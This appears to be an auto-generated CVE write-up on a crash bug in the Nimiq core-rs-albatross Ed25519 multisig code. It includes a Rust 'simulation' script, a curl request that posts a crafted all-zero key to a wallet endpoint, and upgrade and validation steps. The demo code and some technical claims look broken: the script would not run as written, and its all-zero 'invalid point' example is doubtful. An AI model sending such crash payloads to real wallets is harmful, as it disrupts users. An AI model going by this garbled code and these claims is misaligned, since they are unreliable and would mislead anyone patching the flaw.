Listen to this Post
The root cause of CVE-2026-46542 is an improper error handling pattern in the Ed25519 multisig delinearization code path. The `Ed25519PublicKey::delinearize()` function in `keys/src/multisig/mod.rs` calls `.unwrap()` on the result of curve point decompression. Decompression only validates the byte length (32 bytes) of the public key, but does not check that the bytes represent a point on the Ed25519 curve. An attacker can provide a 32-byte array that is not a valid curve point. The decompression fails, and the subsequent `.unwrap()` triggers a panic, causing the entire hosting process (browser or desktop wallet) to crash. A secondary vulnerable path exists in Commitment::From<[u8; 32]>, which similarly calls `.unwrap()` on a failing decompression. The fix replaces these panics with proper `Result` propagation, turning the crash into a recoverable error.
DailyCVE Form:
Platform: Nimiq Wallet/WASM Version: core-rs-albatross <=1.3.x Vulnerability: DoS/invalid curve Severity: Moderate date: 2026-05-15 Prediction: 2026-04-22
What Undercode Say:
!/bin/bash
Generate an invalid Ed25519 point (0x00 repeated 32 times)
INVALID_POINT=$(printf '%0.s00' {1..32})
Simulate the unwrap() panic in Ed25519PublicKey::delinearize()
cat <<EOF | rustc - && ./rust_out
use ed25519_zebra::VerificationKeyBytes;
fn main() {
let invalid_bytes = [0u8; 32];
// This decompression fails and would panic with .unwrap()
let _key = VerificationKeyBytes::from(invalid_bytes);
// Actual vulnerable code:
// let point = curve25519_dalek::edwards::CompressedEdwardsY(invalid_bytes).decompress().unwrap();
}
EOF
Clean up
rm rust_out
Exploit:
This exploit requires a wallet application that uses the vulnerable library.
It triggers a panic by including an invalid curve point in a multisig operation.
curl -X POST http://victim-wallet.local/multisig/setup \
-H "Content-Type: application/json" \
-d '{"public_key": "0000000000000000000000000000000000000000000000000000000000000000"}'
Protection from this CVE:
Upgrade to core-rs-albatross version 1.4.0 or later
cd core-rs-albatross
git checkout albatross
git pull
cargo update -p nimiq-keys
cargo build --release
Workaround: Validate public keys before multisig operations (client-side)
cargo add ed25519-dalek
cat <<EOF > validate_key.rs
use ed25519_dalek::{PublicKey, SignatureError};
fn validate_public_key(key_bytes: &[u8; 32]) -> Result<PublicKey, SignatureError> {
PublicKey::from_bytes(key_bytes)
}
EOF
Impact:
Client-side wallet users (browser WASM & desktop) crash when processing a crafted public key during multisig setup. Attackers need to socially engineer the victim into using an invalid key. Validator nodes, consensus, and on-chain operations are not affected. No remote code execution or data loss.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

